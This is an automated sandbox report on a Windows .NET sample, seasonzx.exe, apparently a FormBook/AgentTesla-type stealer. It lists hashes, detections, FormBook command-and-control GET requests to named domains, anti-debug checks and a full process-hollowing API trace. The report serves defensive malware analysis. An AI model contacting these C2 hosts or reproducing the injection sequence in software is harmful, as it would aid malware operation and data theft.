popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

seasonzx.exe

Generic Malware Admin Tool (Sysinternals etc ...) AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 9, 2021, 9:44 a.m. Nov. 9, 2021, 10:03 a.m.
Size 400.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 ac0ff10a492ecdc35a120afd52b662b1
SHA256 a1e65a31e941c40e59341fcb6b82e7d217772ba1277f2e85bde09963e42dff10
CRC32 73C948A8
ssdeep 6144:nR7eVfiS9WnSrgHA+PGzNYC8kchpcgWY4B8myskYiZQnLqkfriIfLaz1xcI7d:nR7e3WnmwsJYCvchOgwHqx80xcI7d
Yara
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49166 -> 104.21.1.114:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 104.21.1.114:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 104.21.1.114:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 104.21.1.114:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 104.21.37.123:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 104.21.37.123:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 104.21.37.123:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49164 -> 198.54.117.212:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49164 -> 198.54.117.212:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49164 -> 198.54.117.212:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET http://www.spiderwebinar.net/s18y/?FFQL=/xewHRSjpGlUGtZ9W1FhDu9A0iLpT+H0J8ZwaV373xoTkilljSY4ekdWT8N3MXDJspjF9plG&Rb=VtxXE
suspicious_features GET method with no useragent header suspicious_request GET http://www.dzzdjn.com/s18y/?FFQL=O1cFoOP+ivHb/P7qR9TpnoaVzlwYeNjfCrmqoh9Vqsz1oGoGkUYvSArVTaCn8avYre/VNLw1&Rb=VtxXE
suspicious_features GET method with no useragent header suspicious_request GET http://www.aek181129aek.xyz/s18y/?FFQL=Oq1qSCHtPZDpZjwQPtDJHnAuoLHTVvsDClhSq0lV8QAyU3clVeJp+cw6Bo+XH4/mUofpiJ4q&Rb=VtxXE
request GET http://www.spiderwebinar.net/s18y/?FFQL=/xewHRSjpGlUGtZ9W1FhDu9A0iLpT+H0J8ZwaV373xoTkilljSY4ekdWT8N3MXDJspjF9plG&Rb=VtxXE
request GET http://www.dzzdjn.com/s18y/?FFQL=O1cFoOP+ivHb/P7qR9TpnoaVzlwYeNjfCrmqoh9Vqsz1oGoGkUYvSArVTaCn8avYre/VNLw1&Rb=VtxXE
request GET http://www.aek181129aek.xyz/s18y/?FFQL=Oq1qSCHtPZDpZjwQPtDJHnAuoLHTVvsDClhSq0lV8QAyU3clVeJp+cw6Bo+XH4/mUofpiJ4q&Rb=VtxXE
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x002a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00300000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2336
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73941000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2336
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73942000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 393216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00570000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00590000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00342000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00475000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0047b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00477000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0045c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0034a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0046a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00467000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0045a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00466000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0045d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2336
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2744
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00960000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
section {u'size_of_data': u'0x00063800', u'virtual_address': u'0x00002000', u'entropy': 7.719499349822687, u'name': u'.text', u'virtual_size': u'0x0006364c'} entropy 7.71949934982 description A section with a high entropy has been found
entropy 0.995 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2672
process_handle: 0x0000024c
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2672
process_handle: 0x0000024c
1 0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2708
process_handle: 0x00000258
0 0

NtTerminateProcess

 status_code: 0xffffffff
process_identifier: 2708
process_handle: 0x00000258
1 0 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000023c
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000250
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 2744
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000254
1 0 0
Process injection Process 2336 manipulating memory of non-child process 2672
Process injection Process 2336 manipulating memory of non-child process 2708
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000023c
3221225496 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000250
3221225496 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELèCà  Ò ñð@ð@.text„ÑÒ `
base_address: 0x00400000
process_identifier: 2744
process_handle: 0x00000254
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2744
process_handle: 0x00000254
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELèCà  Ò ñð@ð@.text„ÑÒ `
base_address: 0x00400000
process_identifier: 2744
process_handle: 0x00000254
1 1 0
Elastic malicious (high confidence)
FireEye Generic.mg.ac0ff10a492ecdc3
Symantec Scr.Malcode!gdn30
APEX Malicious
Kaspersky VHO:Backdoor.MSIL.Androm.gen
McAfee-GW-Edition BehavesLike.Win32.Fareit.gc
Sophos ML/PE-A
Microsoft Trojan:MSIL/AgentTesla.LIA!MTB
Cynet Malicious (score: 100)
SentinelOne Static AI - Malicious PE
Fortinet MSIL/Kryptik.DCC!tr
BitDefenderTheta Gen:NN.ZemsilF.34266.zm0@aKM2gqo
CrowdStrike win/malicious_confidence_80% (D)
MaxSecure Trojan.Malware.300983.susgen
Process injection Process 2336 called NtSetContextThread to modify thread in remote process 2744
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4321568
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000258
process_identifier: 2744
1 0 0
Process injection Process 2336 resumed a thread in remote process 2744
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000258
suspend_count: 1
process_identifier: 2744
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2336
1 0 0

NtResumeThread

 thread_handle: 0x00000150
suspend_count: 1
process_identifier: 2336
1 0 0

NtResumeThread

 thread_handle: 0x00000190
suspend_count: 1
process_identifier: 2336
1 0 0

CreateProcessInternalW

 thread_identifier: 2676
thread_handle: 0x00000238
process_identifier: 2672
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\seasonzx.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\seasonzx.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000023c
1 1 0

NtGetContextThread

 thread_handle: 0x00000238
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000023c
3221225496 0

CreateProcessInternalW

 thread_identifier: 2712
thread_handle: 0x0000024c
process_identifier: 2708
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\seasonzx.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\seasonzx.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000250
1 1 0

NtGetContextThread

 thread_handle: 0x0000024c
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000250
3221225496 0

CreateProcessInternalW

 thread_identifier: 2748
thread_handle: 0x00000258
process_identifier: 2744
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\seasonzx.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\seasonzx.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000254
1 1 0

NtGetContextThread

 thread_handle: 0x00000258
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2744
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000254
1 0 0

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELèCà  Ò ñð@ð@.text„ÑÒ `
base_address: 0x00400000
process_identifier: 2744
process_handle: 0x00000254
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2744
process_handle: 0x00000254
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2744
process_handle: 0x00000254
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4321568
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000258
process_identifier: 2744
1 0 0

NtResumeThread

 thread_handle: 0x00000258
suspend_count: 1
process_identifier: 2744
1 0 0